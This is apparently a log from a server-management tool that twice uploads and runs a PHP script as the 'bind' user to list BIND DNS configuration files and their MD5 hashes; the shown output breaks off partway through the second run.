MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:29:00: Establishing a connection
2026-04-24 16:29:01: 

PUT: /tmp/pkp486795

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:29:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp486795; rm /tmp/pkp486795'

2026-04-24 16:29:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 17:08:44: Establishing a connection
2026-04-24 17:08:44: 

PUT: /tmp/pkp862709

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 17:08:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp862709; rm /tmp/pkp862709'

2026-04-24 17:08:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
